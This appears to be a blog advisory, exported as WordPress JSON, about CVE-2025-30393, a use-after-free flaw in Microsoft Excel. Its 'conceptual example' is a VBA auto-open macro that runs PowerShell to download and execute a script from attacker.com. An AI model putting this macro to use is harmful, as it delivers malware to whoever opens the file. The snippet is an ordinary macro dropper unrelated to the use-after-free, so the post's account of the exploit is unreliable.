{"id":58520,"date":"2025-07-08T21:06:03","date_gmt":"2025-07-08T21:06:03","guid":{"rendered":""},"modified":"2025-09-09T02:35:50","modified_gmt":"2025-09-09T08:35:50","slug":"cve-2025-30393-critical-use-after-free-vulnerability-in-microsoft-office-excel","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-30393-critical-use-after-free-vulnerability-in-microsoft-office-excel\/","title":{"rendered":"<strong>CVE-2025-30393: Critical Use After Free Vulnerability in Microsoft Office Excel<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the realm of cybersecurity, vulnerabilities are a constant cause for concern. One such vulnerability, known as CVE-2025-30393, poses a significant threat to users of Microsoft Office Excel. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53002-remote-code-execution-vulnerability-in-llama-factory\/\"  data-wpil-monitor-id=\"65191\">vulnerability allows an unauthorized attacker to execute code<\/a> locally, leading to potential system compromise or data leakage. With the widespread use of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47168-use-after-free-vulnerability-in-microsoft-office-word-allowing-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"73077\">Microsoft Office<\/a> Excel within businesses and by individual consumers, the impact and reach of this vulnerability cannot be overstated. Its severity underscores the need for immediate action to mitigate the potential risks.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-30393<br \/>\nSeverity: High (7.8 CVSS Score)<br \/>\nAttack Vector: Local<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Unauthorized code execution, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65406\">potential system<\/a> compromise, and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-471504750\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47170-use-after-free-vulnerability-in-microsoft-office-word\/\"  data-wpil-monitor-id=\"75402\">Microsoft Office<\/a> Excel | All versions prior to patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53770-critical-deserialization-vulnerability-in-microsoft-sharepoint-server\/\"  data-wpil-monitor-id=\"70526\">vulnerability exploits a use after free issue in Microsoft<\/a> Office Excel. In essence, an attacker can craft a malicious Excel file that, when opened, triggers the use after free condition. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25214-race-condition-vulnerability-in-wwbn-avideo-14-4-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"70527\">condition can then be exploited to run arbitrary code<\/a> in the context of the current user. If the user has administrative privileges, an attacker could take <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41659-codesys-control-runtime-system-pki-folder-vulnerability\/\"  data-wpil-monitor-id=\"73946\">control of the affected system<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-525092007\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This conceptual example demonstrates how the vulnerability might be exploited. In this case, the attacker sends a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43199-a-high-risk-permissions-issue-enabling-root-privileges-via-malicious-apps\/\"  data-wpil-monitor-id=\"80991\">malicious Excel file via<\/a> email to the victim. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"70528\">code in the Excel file<\/a> might look something like this:<\/p>\n<pre><code class=\"\" data-line=\"\">Sub Workbook_Open()\n&#039; This is a conceptual example and will not actually work\nShell(&quot;powershell -nop -exec bypass -c \\&quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http:\/\/attacker.com\/malware.ps1&#039;);\\&quot;&quot;)\nEnd Sub<\/code><\/pre>\n<p>When the victim opens the Excel file, the VBA (Visual Basic for Applications) <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5310-remote-code-execution-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx-consoles\/\"  data-wpil-monitor-id=\"65539\">code executes<\/a> a PowerShell command that downloads and runs a malicious script from the attacker&#8217;s server.<br \/>\nPlease note: This is a conceptual example and is provided for educational purposes only. <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80850\">Misuse of this information can lead<\/a> to legal consequences. Always practice responsible disclosure.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the realm of cybersecurity, vulnerabilities are a constant cause for concern. One such vulnerability, known as CVE-2025-30393, poses a significant threat to users of Microsoft Office Excel. This vulnerability allows an unauthorized attacker to execute code locally, leading to potential system compromise or data leakage. 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